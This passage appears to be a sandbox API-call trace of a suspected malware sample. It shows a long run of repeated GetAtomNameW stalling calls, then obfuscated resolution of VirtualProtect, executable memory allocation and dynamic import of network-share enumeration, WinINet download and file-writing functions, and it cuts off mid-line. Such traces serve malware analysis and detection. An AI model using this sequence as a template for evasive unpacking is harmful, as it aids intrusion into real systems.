GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.541] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0104.838] lstrcpyA (in: lpString1=0x4b0340, lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0104.838] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76fe0000 [0104.948] lstrcatA (in: lpString1="", lpString2="Virtual" | out: lpString1="Virtual") returned="Virtual" [0104.948] lstrcatA (in: lpString1="", lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0104.948] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualProtect") returned 0x76ff435f [0106.178] VirtualProtect (in: lpAddress=0x210020, dwSize=0x90e00, flNewProtect=0x40, lpflOldProtect=0x18fe68 | out: lpflOldProtect=0x18fe68*=0x4) returned 1 [0106.245] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76fe0000 [0106.245] GetProcAddress (hModule=0x76fe0000, lpProcName="GlobalAlloc") returned 0x76ff588e [0106.245] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLastError") returned 0x76ff11c0 [0106.245] GetProcAddress (hModule=0x76fe0000, lpProcName="Sleep") returned 0x76ff10ff [0106.245] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualAlloc") returned 0x76ff1856 [0106.246] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7701735f [0106.246] GetProcAddress (hModule=0x76fe0000, lpProcName="Module32First") returned 0x77075cd9 [0106.246] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseHandle") returned 0x76ff1410 [0106.246] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0106.247] Module32First (hSnapshot=0x30, lpme=0x18fc00) returned 1 [0106.249] VirtualAlloc (lpAddress=0x0, dwSize=0x119e50, flAllocationType=0x1000, flProtect=0x40) returned 0x680000 [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="LoadLibraryA") returned 0x76ff49d7 [0106.276] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76fe0000 [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualAlloc") returned 0x76ff1856 [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualProtect") returned 0x76ff435f [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualFree") returned 0x76ff186e [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="GetVersionExA") returned 0x76ff3519 [0106.276] GetProcAddress (hModule=0x76fe0000, lpProcName="TerminateProcess") returned 0x7700d802 [0106.277] GetProcAddress (hModule=0x76fe0000, lpProcName="ExitProcess") returned 0x76ff7a10 [0106.277] GetProcAddress (hModule=0x76fe0000, lpProcName="SetErrorMode") returned 0x76ff1b00 [0106.277] SetErrorMode (uMode=0x400) returned 0x0 [0106.277] SetErrorMode (uMode=0x0) returned 0x400 [0106.277] GetVersionExA (in: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}Ãw") | out: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0106.277] VirtualAlloc (lpAddress=0x0, dwSize=0x119000, flAllocationType=0x1000, flProtect=0x4) returned 0x910000 [0106.303] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18fbb8 | out: lpflOldProtect=0x18fbb8*=0x2) returned 1 [0106.469] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76b00000 [0106.478] GetProcAddress (hModule=0x76b00000, lpProcName="RpcStringFreeW") returned 0x76b21635 [0106.478] GetProcAddress (hModule=0x76b00000, lpProcName="UuidCreate") returned 0x76b1f48b [0106.478] GetProcAddress (hModule=0x76b00000, lpProcName="UuidToStringW") returned 0x76b41ee5 [0106.478] GetProcAddress (hModule=0x76b00000, lpProcName="RpcStringFreeA") returned 0x76b43fc5 [0106.478] GetProcAddress (hModule=0x76b00000, lpProcName="UuidToStringA") returned 0x76b7d918 [0106.478] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75720000 [0106.486] GetProcAddress (hModule=0x75720000, lpProcName="WNetOpenEnumW") returned 0x75722f06 [0106.486] GetProcAddress (hModule=0x75720000, lpProcName="WNetEnumResourceW") returned 0x75723058 [0106.486] GetProcAddress (hModule=0x75720000, lpProcName="WNetCloseEnum") returned 0x75722dd6 [0106.486] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x76da0000 [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="InternetCloseHandle") returned 0x76dbab49 [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="InternetReadFile") returned 0x76dbb406 [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="InternetOpenUrlW") returned 0x76e1be5c [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="InternetOpenW") returned 0x76dc9197 [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="HttpQueryInfoW") returned 0x76dc5c75 [0106.519] GetProcAddress (hModule=0x76da0000, lpProcName="InternetOpenA") returned 0x76dcf18e [0106.520] GetProcAddress (hModule=0x76da0000, lpProcName="InternetOpenUrlA") returned 0x76de30f1 [0106.520] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x756e0000 [0106.540] GetProcAddress (hModule=0x756e0000, lpProcName="timeGetTime") returned 0x756e26e0 [0106.540] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x777a0000 [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathAppendA") returned 0x777ad65e [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathFindFileNameW") returned 0x777bbb71 [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathRemoveFileSpecW") returned 0x777b3248 [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathFileExistsA") returned 0x777dad1a [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathFileExistsW") returned 0x777b45bf [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathAppendW") returned 0x777b81ef [0106.540] GetProcAddress (hModule=0x777a0000, lpProcName="PathFindExtensionW") returned 0x777ba1b9 [0106.541] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76fe0000 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="VirtualFree") returned 0x76ff186e [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="WriteFile") returned 0x76ff1282 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="GetDriveTypeA") returned 0x7700ef75 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="OpenProcess") returned 0x76ff1986 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="GlobalAlloc") returned 0x76ff588e [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="GetSystemDirectoryW") returned 0x76ff5063 [0106.541] GetProcAddress (hModule=0x76fe0000, lpProcName="WideCharToMultiByte") returned 0x76ff170d [0106.541] GetProcAddress 